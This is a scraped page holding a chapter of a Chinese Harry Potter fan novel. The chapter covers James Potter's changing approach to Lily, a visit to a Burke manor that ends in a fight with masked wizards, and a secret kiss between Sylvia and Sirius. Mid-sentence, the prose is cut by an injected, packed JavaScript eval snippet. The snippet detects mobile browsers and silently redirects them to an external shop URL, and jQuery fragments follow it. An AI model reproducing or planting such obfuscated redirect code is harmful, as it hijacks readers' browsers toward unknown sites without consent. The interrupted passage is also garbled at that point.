文趣网 > 都市小说 > HP希尔维亚小姐感到不满 > 25. 希尔维亚小姐目前不需要一个男朋友
    七月下旬,詹姆·波特终于承认自己追求莉莉·伊万斯的方法可能存在一点问题。

    这件事发生在一个非常不适合进行感情咨询的下午。波特家的果园刚下过雨,希尔维亚正坐在后门台阶上拆一只被她改坏了的警窥镜,旁边摊着几张战斗变形结构图。詹姆在她面前来回走了第四趟以后,她终于抬起头,告诉他如果再踩到自己的羊皮纸,就会让他下半辈子只能以单脚姿势参加魁地奇。

    詹姆这才停下来,犹豫半天,问了一个希尔维亚完全没有预料到的问题:“伊万斯到底为什么那么讨厌我?”

    希尔维亚把手里的银片放下,确认他不是在开玩笑以后,认真想了想。“你真的想知道?”

    詹姆立即点头。

    “因为你很自大。”

    他的表情明显受到了伤害。“我当然知道我有点——”

    “不是有点。”希尔维亚纠正,“而且你在她面前尤其严重。你喜欢她,所以每次莉莉出现,你就突然变得像一只开屏的孔雀。”

    詹姆皱起眉,显然认为孔雀这个比喻严重低估了自己。希尔维亚没给他抗议机会,继续指出真正的问题根本不在于他是否足够优秀。詹姆成绩很好,魁地奇打得很好,魔法也强,这些莉莉又不是看不见。他不停地表演,只会让人感觉他真正关心的是“莉莉有没有注意到詹姆·波特有多厉害”,而不是莉莉本人到底想不想看。

    这一次詹姆没有立刻反驳。

    希尔维亚觉得这是个好迹象。

    “还有,”她把修到一半的警报器重新拿起来,“别每次她说不的时候都当成下一次继续问的前奏。她说不,就是不。她不是一道只要你坚持足够久就会解开的变形术题。”

    詹姆在她旁边坐下来,过了好一会儿才说:“我没觉得她欠我什么。”

    “那就别表现得像她迟早会答应,只是还没发现你有多好。”

    这句话显然真正戳中了什么。詹姆低头扯了一根草,难得没有用笑话把话题带过去。他过去一直把自己的追求理解成一件很简单的事:自己喜欢莉莉,所以努力让她喜欢自己。他确实没有恶意,也从没真正想过逼迫她,可在他的逻辑里,“她现在不喜欢我”一直更接近一种暂时状态,而从小被追捧长大的詹姆波特更倾向于认为莉莉终会喜欢他。

    希尔维亚看着他突然安静下来,最后补了一句:“你要是真喜欢她,就先尊重她的想法。不是为了让她以后喜欢你。只是因为她说的话本来就值得尊重。”

    詹姆抬起头。“那我要是不追了?”

    “我没这么说。”

    “所以还能追?”

    希尔维亚闭了闭眼,开始觉得刚才所有努力可能都白费了。“你可以喜欢她。你甚至可以以后再问。问题是别把每一次相处都变成‘你看我多适合当男朋友’。莉莉不是来参加你的竞选活动的。”

    从厨房出来的西里斯刚好听见最后一句,当场笑得差点把手里的两杯黄油啤酒都洒掉。詹姆立刻宣布自己从今以后绝不会再向斯莱特林寻求感情建议,希尔维亚对此十分满意,她本来也不想给愚蠢的青春期男生解决问题。

    不过从第二天开始,詹姆确实安静了一点。

    不是突然变成另一个人。他还是会在莉莉来波特家时第一时间出现,还是会因为她夸一句魁地奇动作就心情好半天,也还是明显喜欢她。只是他开始尝试不把所有注意力都变成表演。有一次莉莉和艾琳坐在厨房里讨论一份药剂记录,詹姆进来以后原本已经准备插话,最后却只从桌上拿了苹果便走。西里斯站在门外看见这一幕,足足追着他检查了一条走廊,坚信希尔维亚给好友施了某种持续性夺魂咒。变化很小。

    至少莉莉注意到了。她什么也没说。

    但第三次来波特家时,詹姆问她要不要一起去果园打魁地奇,她没有立刻拒绝,只问:“正常打,还是你们那种会把果树撞断的打法?”

    詹姆居然忍住了“你来我就正常打”这种他过去一定会说的话,只回答:“看人数。”

    莉莉看了他一眼,最后拿起了扫帚。

    希尔维亚远远看见这一幕,觉得自己的咨询成果已经可以宣布结案。

    艾琳带来的消息是在八月初。

    她到波特家时甚至没有先喝尤菲米娅递来的茶,便从旅行袋里取出一沓厚厚的羊皮纸。最上面是一张已经废弃的旧庄园平面图,右下角写着一个希尔维亚最近很熟悉的姓氏——伯克。

    并不是博金—博克商店的那位伯克本人,而是一支旁系。庄园主人三周前遭到袭击,两名成年巫师死亡,剩下一名女儿当时在国外,因此幸存。魔法部完成现场检查以后已经解除封锁,而艾琳父亲恰好认识负责处理遗产魔法物品的鉴定师。那位女儿正在出售庄园,大部分危险物品已经被清理,却有一间地下收藏室始终无法解释。

    “打不开?”莉莉问。

    “已经打开了。”艾琳把另一张检测报告推过去,“问题是里面什么都没有。”

    希尔维亚看了她一眼。“空房间很少值得你带三十页资料来。”

    艾琳显然很满意有人立刻理解重点。收藏室在袭击前并不是空的。遗产目录证明里面至少保存过十七件古老魔法物品,其中大部分不算特别珍贵,只有一件来源很模糊——一面据说从十九世纪以前便由伯克家收藏的黑曜石镜。袭击以后,金银、魔法书和其他可携带物品大都没有动,只有那面镜子失踪。

    更奇怪的是,墙上留下了一圈非常复杂的魔法残痕。

    魔法部把它判断为袭击者破坏防护咒时产生的混合痕迹,艾琳却不这么认为。

    “防护是从外面被破坏的。”她指着图纸,“但这一层痕迹朝向里面,而且形成时间更早。我觉得有人在镜子存放的位置做过别的魔法。”

    莉莉拿过检验报告,很快找到了其中几种残留物。“还有银粉和龙血。不是正常保存古董会用的东西。”

    希尔维亚已经站起来。

    “什么时候去?”

    厨房里忽然安静。

    艾琳说:“明天。”

    另一张桌边正在下巫师棋的詹姆和西里斯同时抬头。希尔维亚闭了闭眼。她就知道。

    “你们三个要去哪?”詹姆问。

    “没有你们的地方。”莉莉回答得非常熟练。

    十分钟以后,事情发展成了一场毫无必要的争执。三个女孩原本的计划并不算鲁莽:庄园已经由魔法部确认解除危险,艾琳认识的成年鉴定师会在现场,麦克唐纳先生也会同行,她们只是获得允许观察那间地下收藏室的残留魔法,而不是偷偷闯进正在冒黑烟的谋杀现场。

    可詹姆和西里斯仍然坚持参加。

    理由也很简单:如果希尔维亚她们调查的确实与伏地魔有关,那么“已经安全”是一个非常依赖魔法部工作质量的判断,而最近魔法部显然不是英国最值得盲目信任的机构。

    莉莉最初坚决反对,尤其对詹姆表示这不是探险。詹姆这一次却没有像过去一样立刻证明自己能够解决任何问题,只说:“我知道。我不是去抢你们发现的东西。多两根魔杖总比少两根好。”

    莉莉明显停了一下。

    希尔维亚也看了他一眼。

    这句话大概是詹姆这一星期里第一次真正把她的建议听进去。

    西里斯则比他坦率得多,直接告诉希尔维亚:“你去,我就去。”

    “凭什么?”

    “没有凭什么。”他靠着门框,神情很轻松,“你也可以不让我跟着。然后我自己去。”

    希尔维亚盯着他几秒,最终决定与其花时间阻止一个肯定会偷偷出现的人,不如至少把他放在视线范围内。

    于是第二天清晨,原本的三人调查组扩张成了一个非常不正式的五人小队。

    麦克唐纳先生对此的评价是:“我记得昨天只有三个学生。”

    艾琳说:“情况恶化了。”

    伯克家旧庄园位于威尔特郡一片远离村庄的林地里。

    从外面看,它甚至不像遭到过袭击。石灰色外墙仍然完整,几扇窗户已经封住,花园却因为几个星期无人打理而疯长。真正留下痕迹的是门厅。地板有一大片石砖颜色明显更浅,据说那里原本有无法完全清除的血迹;楼梯栏杆缺了一段,墙角还有几处恶咒烧过以后留下的黑斑。

    莉莉进门以后比平时安静了许多。

    这不是报纸上的照片。

    有人真的死在这里。

    詹姆也没有开玩笑。他甚至没有刻意靠到莉莉旁边,只在鉴定师开始说明袭击路线时认真听。希尔维亚注意到这一点,却很快把注意力转回现场。她发现自己来到真正发生过死亡的房子以后,也没有预想中的兴奋。调查一个黑魔王的弱点在图书馆里很像一道复杂题目,可地板上的焦痕会提醒人,这道题每一条线索后面都曾经是一个活人。

    地下收藏室位于庄园西侧,门已经拆掉。房间不大,三面墙上留着已经清空的木制展示架。艾琳进去以后很快戴上龙皮手套,沿墙面一点点检查。她现在还没有受过真正专业的黑魔法鉴定训练,却已经表现出一种近乎本能的耐心,不会因为发现一处异常便立刻伸手。莉莉则蹲在原本放置黑曜石镜的石台附近,用小玻璃管收集缝隙里的粉末。

    希尔维亚对材料不如她们敏感。

    她看的是房间和魔力波动,那个石台的位置不对。

    准确地说,是周围所有东西的位置都太合理,以至于石台反而显得奇怪。收藏室的展示架沿墙排列,只有镜子被单独放在中央偏后的位置,背后还隔着将近三英尺空隙。

    “这里原来还有东西。”她说。

    艾琳抬头。

    希尔维亚蹲下来摸了摸地面。石砖表面已经被清理过,肉眼看不出差别,可她使用一个极轻的变形探测以后,立刻感觉到石台后方三块石砖内部结构与其他位置不同。

    说明被长期改变过。

    她没有直接施法,而是叫来成年鉴定师。对方检查以后脸色也变了,随后让所有学生退后,自己解除表层残留咒。三块石砖缓慢分开,露出下面一个只有手掌宽的凹槽。里面没有东西。却留下了一层黑色蜡状物。

    莉莉刚想靠近,詹姆忽然伸手拦了一下。

    “先等检查。”莉莉看向他。詹姆已经收回手,没有说“危险”或者“你别过去”,只是让出位置给成年鉴定师。

    那人检测了几次,确认没有主动诅咒后,莉莉才过去。她用银针挑了一点残留物,很快皱起眉。这不是蜡,而是一种混合了树脂、血液和某种强魔法稳定材料的旧封存剂,而且年代明显比最近的袭击更早。

    艾琳则从凹槽内部找到一道极浅的刻痕。

    像一个字母。又像符号的一部分。

    三个人正在研究时,楼上突然传来巨响。

    整个地下室的灯同时熄灭。

    成年鉴定师第一时间喊所有人靠墙,麦克唐纳先生已经拔出魔杖。下一秒,一道绿色光从楼梯方向掠过,击中地下室入口旁边的墙面,石屑瞬间爆开。

    不是魔法部留下的陷阱。而是别人设下的。

    有人回来了。

    事情随即失去所有调查应有的秩序。

    两名蒙面的成年巫师从楼梯口冲下来,显然同样没料到庄园里还有人。第一道恶咒被麦克唐纳先生挡住,鉴定师立刻试图封锁入口,却被另一道爆破咒炸开。

    希尔维亚甚至没有思考。墙先动了。

    入口两侧的石砖同时向内折叠,逼得其中一名攻击者改变方向;詹姆的缴械咒紧跟着从缝隙穿过去,对方被迫后退。

    西里斯立即绕向另一侧,封住通往后方储藏通道的路线。这使希尔维亚有一种极其熟悉的畅快感。他们一次打过太多次,培养出一种诡异的默契,以至于现在站到同一边,根本不需要商量谁会做什么。

    第二名巫师尝试从石墙上方施咒,希尔维亚只抬高半尺地面,詹姆便立刻利用新出现的角度打出一道昏迷咒。攻击者闪开,却正好进入西里斯的范围,被一道束缚咒缠住脚踝。

    另一边,莉莉和艾琳没有逞强往前冲。艾琳迅速把几件可能被恶咒引爆的旧魔法物品移出线路,莉莉则在麦克唐纳先生手臂被飞溅石片划伤以后立即处理伤口,同时留意有没有毒咒。

    混战只持续了不到一分钟。

    真正让局面结束的是希尔维亚。

    第一名巫师试图炸穿侧墙逃走时,她没有阻止爆破咒,而是在石墙碎裂的瞬间改变碎石飞行方向。数十块石片在半空中骤然重组,像一张闭合的石网把人整个困在中央,随后直接锁死在地面。

    第二个人见势不对,幻影移形逃走了。

    地下室终于安静下来。

    希尔维亚站在那里喘气,看着被自己困住的巫师,脑中只有一个非常单纯的念头。

    西里斯显然看出来了。

    “你现在是不是很想记录?”

    希尔维亚侧头。“一点。”

    “疯女孩。”

    “你刚才明明也很开心。”

    “我没有。”西里斯立即否认。

    一旁的詹姆却已经笑出声。

    紧绷的空气终于松开了一点。

    被抓住的人交给了随后赶来的魔法部。

    他身上没有黑魔标记,却携带了一封用蛇形火漆封住的短笺,内容只有一句:确认剩余痕迹是否已经清理。

    这证明她们至少查对了一件事。

    袭击者重新回到庄园,并不是为了钱,也不是为了报复幸存者。

    有人担心这间地下室留下什么。

    艾琳把那道凹槽刻痕完整拓印下来;莉莉收走封存剂样本;希尔维亚则把房间结构画了一份简图。真正的证物当然全部交给魔法部和邓布利多,但三个女孩第一次拿到了来自现场、而不是旧报纸和档案的线索。

    回程以前,莉莉一个人站在庄园门外透气。

    詹姆过了一阵才过去。

    希尔维亚远远看着,本来已经准备好如果他又开始炫耀刚才那道昏迷咒就把人拖回来。可詹姆没有。他只是问莉莉手上那道擦伤处理好了没有,得到肯定答案以后便站在旁边,一起看那片已经荒掉的花园。

    最后还是莉莉先提起地下室里的事。

    “刚才谢谢。”

    詹姆明显很高兴,却奇迹般地没有把这两个字扩展成一场胜利演说。他只说:“你不是没看见那个东西。我只是离得更近。”

    莉莉看了他好几秒。“你最近有点奇怪。”

    詹姆似乎很想问是好还是坏,最后却忍住。“可能长大了。”

    莉莉立即回答:“别太乐观。”

    距离喜欢仍然很远。

    但至少,她第一次开始觉得詹姆或许并不永远只能是那个在湖边为了引人注意便朝别人施咒的男孩。希尔维亚在远处看见,觉得自己的感情咨询业务显然取得了远超预期的成果。

    西里斯站在她旁边,顺着视线看了一会儿。“你跟詹姆说什么了?”

    “秘密。”

    “他的秘密?”

    “我的。”

    “那我能问吗?”

    “不能。”

    西里斯低头看她。“偏心。”

    希尔维亚觉得他说这句话的语气很像雷古勒斯,突然低着头忍不住笑了。西里斯立即皱眉。“你又在想他?”

    “嫉妒你弟弟?。”

    “你怎么知道我说的是他!”西里斯看起来更生气了。

    她笑得更厉害。

    当天夜里,波特家大多数人都睡得很早。

    白天发生的袭击最终还是比大家承认的更累人。麦克唐纳先生带艾琳回家以前和弗利蒙谈了很久,邓布利多也通过壁炉与几位成年人交换过消息。三人组带回来的资料暂时被收走,显然不会再允许她们第二天自己跑回去继续挖地下室。

    希尔维亚躺了一会儿,睡不着,激烈战斗后皮质醇和肾上腺素都飙升了,翻来覆去难以入眠。她闭上眼睛时仍然会想起地下室里突然亮起的咒光、墙体被击中的震动,以及自己在判断下一次变形时那种异常清醒的兴奋。最后她干脆起身,下楼去厨房找水。

    西里斯也在那里。

    他坐在长桌旁,面前放着一块已经冷掉的糖浆馅饼,显然同样没有睡。希尔维亚进来以后,他只是抬头看了她一眼,把旁边一只空杯子推过去,没有问她为什么下来。白天那场战斗以后,两个人之间确实多了一点难以忽视的东西。过去几年里,他们已经太熟悉彼此的施法习惯,西里斯知道她什么时候准备改变地形,她也能从他肩膀和脚步的细微变化判断他下一步要往哪里躲;可今天第一次,这种熟悉被真正放进了可能死人的场面里,而且依旧准确得惊人。

    这种感觉让希尔维亚有些兴奋。她很清楚这不完全是因为战斗本身。

    西里斯咬了一口馅饼,看了她一会儿,才提起她白天差点被一道咒语击中的事情。希尔维亚坚持差两英寸就不算打中,又反过来告诉他,他自己也差点被爆破咒削掉半边头发。西里斯下

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17855412|211887||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    意识摸了一下头发,发现是骗他的。两个人很快又像平常一样互相嘲讽起来,气氛却和以前不太一样,因为谁都没有在笑完以后立刻移开视线。两人站在厨房边桌的两端,是一个不远也不近的距离,昏暗的暖黄色灯光下彼此的神色好像笼上一层薄雾,变得晦涩不明,空气似乎无法流动了。

    希尔维亚当然一直知道西里斯长得很好看。这件事甚至没有什么值得发现的,布莱克家在外貌方面一向发挥稳定,西里斯本人又从不介意让这种优势变得更加明显。只是以前她看他时往往会被他挑衅的神色转移注意力,同时计算别的东西:肩膀角度、持杖习惯、下一次可能从哪边攻击。现在厨房里没有魔杖抬起来,也没有谁准备先动手,于是那些原本可以被归进“观察对手”的东西突然变得没有那么好解释。

    西里斯显然也一样。他看她的时间太长,实现从眼睛再绕到嘴角,又绕回来,目光好像在她身上留下印记,希尔维亚终于问他在干什么。西里斯回答得理直气壮,说自己只是在看她。希尔维亚本来想嘲笑,话到嘴边却变成了另一句:“你看人的方式很奇怪。”

    西里斯轻笑了一下,反问她以前为什么没觉得。希尔维亚说以前他不是这么看,两个人之间又短暂地安静下来。

    西里斯从椅子上站起来,走到她面前。两个人之间很快只剩一步距离,近得能闻到她刚刚洗好的头发的味道。希尔维亚没有退,也没觉得自己应该退。她只是抬头看着他,突然觉得这件事比一场决斗简单得多,因为她根本不用猜自己想不想。

    西里斯低声说,他现在想做一件很可能挨打的事情。希尔维亚让他把范围说小一点,他便直接说:“亲你。”

    希尔维亚看了他两秒。

    可能是在一次决斗以后,也可能是在某个西里斯靠得过分近、却没有立刻退开的瞬间。她没有认真追究过,因为那时没有必要。现在既然问题已经摆到眼前,答案反而很清楚。

    “你居然知道先问。”她说。

    西里斯显然把这理解成了某种接近同意的信号,嘴角已经开始上扬。希尔维亚懒得继续让他猜,伸手抓住他的衣领,把人直接拉了下来。

    第一次接吻没有任何精心设计。两个人本来就不是那种会因为突然靠近而变得小心翼翼的人,反而带着一点长期决斗留下来的习惯,谁都不肯显得自己是被动的那个。西里斯原本还留着一点试探,很快发现希尔维亚根本不需要,于是手顺势扶住她腰侧,并强迫她张开嘴巴;希尔维亚也没有松开他的领口。整个过程不算长,却足够让两个人分开以后都安静了几秒。

    然后西里斯笑了。希尔维亚立刻觉得很烦,问他笑什么。西里斯看着她,说她连接吻都像在决斗。希尔维亚问那他输了没有,西里斯的神情立即变得认真起来,回答说最好再确认一次。

    这一次西里斯先靠近。希尔维亚没有退,只在他低头时抬了抬下巴,像默认了这个动作。第二个吻比刚才自然得多,西里斯一只手扶在她腰侧,另一只手撑着桌沿,把距离压得更近,却仍然给她留着退开的空间。希尔维亚原本还抓着他的衣领,过了一会儿手指顺着领口滑到他颈后,碰到那一截乱糟糟的黑发时,西里斯明显停了一瞬。

    她立刻发现了这个破绽,故意轻轻扯了一下他的头发。

    西里斯退开半寸看她,灰色的眼睛里带着一点被挑衅后的笑意。下一秒他又低头吻回来,这次明显不再客气。希尔维亚被他逼得靠上桌边,却没有让步,反而伸手把他重新拉近。

    分开以后,两个人都没有立刻说话。西里斯靠回桌边,重新拿起那块已经冷掉的馅饼,像是随口问了一句:“这个要告诉詹姆吗?”

    “不。”希尔维亚回答得毫不犹豫。

    西里斯原本已经准备咬下一口,动作却停了一瞬。“谁都不说?”

    “谁都不说。”

    希尔维亚说得太自然,以至于西里斯脸上的表情明显变了一点。不是生气,只是刚才还相当不错的心情突然被削掉了一小块。他很快掩饰过去,低头咬了口馅饼,说这样也好,省得詹姆第二天追着他们问一百个问题。

    希尔维亚看了他两秒。“你刚才是不是有点失望?”

    “你看错了。”

    希尔维亚差点笑出来。西里斯越否认,越证明她没有看错。她靠在桌边,好整以暇地问:“你难道很想告诉别人?”

    西里斯皱了皱眉。他其实根本没想过“公开”意味着什么,可她如此干脆地把这件事划进秘密区域,还是莫名让他觉得自己好像刚刚申请了什么位置,然后当场被拒绝了。

    “至少可以告诉詹姆。”他说。

    “为什么?”

    西里斯被问住了一瞬。“因为他是詹姆。”

    这是个完全没有逻辑的理由,偏偏很符合他。

    希尔维亚终于笑了。“不行。”

    “你拒绝得也太快了。”

    “我对恋爱本身不感兴趣”

    这次西里斯是真的安静了半秒。他确实想过跟希尔维亚谈恋爱是什么感觉,也想过被拒绝,但是没想到她否定得这么明显。他很快把表情收好,说自己也没有这个打算。

    希尔维亚看着他。“那你失望什么?”

    “我没有失望。”

    “西里斯。”

    他烦躁地把馅饼放回盘子。“我只是觉得你至少可以犹豫一下。”

    希尔维亚这次真的笑出了声。

    西里斯瞪她。“很好笑?”

    “有一点。”

    “我刚才亲了你十几分钟,你现在笑我?”

    “所以呢?”

    “所以至少给点尊重。”

    希尔维亚走近一步,伸手重新抓住他的领口,在他还没来得及继续抱怨以前亲了他一下。很短,几乎只是为了堵住他的嘴。等她退开时,西里斯果然安静了。

    “这够尊重了吗?”她问。

    西里斯盯着她看了两秒,那点莫名其妙的失落很快又被熟悉的笑意取代。“暂时。”

    后来楼上传来脚步声时,两个人几乎同时退开。詹姆穿着睡衣走进厨房,在他们之间狐疑地看了好几遍,却什么都没看出来。希尔维亚说自己下来喝水,西里斯继续吃他的馅饼,表现得比平时任何一次撒谎都镇定。

    詹姆最后只能拿着水离开。

    等楼梯上的脚步彻底消失,西里斯才低声说:“我还是觉得应该告诉他。”

    希尔维亚端起杯子。“不行。”

    西里斯很不高兴地发现,自己第一次试图从希尔维亚这里争取一点名分,以失败告终。

    第二天早晨,她和平常一样下楼。西里斯已经在和詹姆争论某件完全没有意义的魁地奇问题,看见她进来以后没有任何特别表示,甚至连位置都没有挪。希尔维亚对此非常满意。昨晚发生的事情属于昨晚,她暂时不想看到西里斯突然在早餐桌上表现得像一个男朋友。

    艾琳却只看了她几秒便皱起眉。

    “你昨天晚上是不是没睡?”

    希尔维亚低头给面包抹果酱,回答说睡得不太好。莉莉从报纸后面看过来,显然也察觉到一点异常,不过两个人都没有得到更进一步的答案。希尔维亚很自然地把伯克庄园的结构草图铺开,成功让话题重新回到那道藏在黑曜石镜底下的残缺刻痕上。

    西里斯过了一会儿才和詹姆一起凑过来。

    他没有坐到希尔维亚旁边,而是很随便地占了对面一个位置,甚至在讨论中和她为某条逃生路线争了两句。昨晚厨房里的事仿佛根本没有发生。

    那道藏在黑曜石镜下方的痕迹并不属于伯克家,也不是普通防护符号。有人曾经在那面镜子下面藏过另一件东西,而后来重新返回庄园清理现场的人,显然很担心那里仍然留下线索。这意味着她们找到的并不仅仅是一件失踪的收藏品,而是一条可能继续向汤姆·里德尔过去延伸的路径。

    希尔维亚很快把昨晚的事情从脑子前面推到后面。并不是因为不在意。只是她现在没有打算因为一个吻改变生活的结构。

    至于西里斯,就不知道怎么想了。

    至少当天晚上,他趁所有人都在客厅的时候从她身边经过,只低声告诉她后门外十分钟。

    希尔维亚连头都没抬。

    十分钟以后,她还是去了。

    他们还是没有恋爱。

    但从那个夏天开始,波特家的某些走廊、霍格沃茨几个从来没人使用的空教室,以及少数非常隐蔽的楼梯转角,逐渐开始拥有一些只有他们两个知道的用途。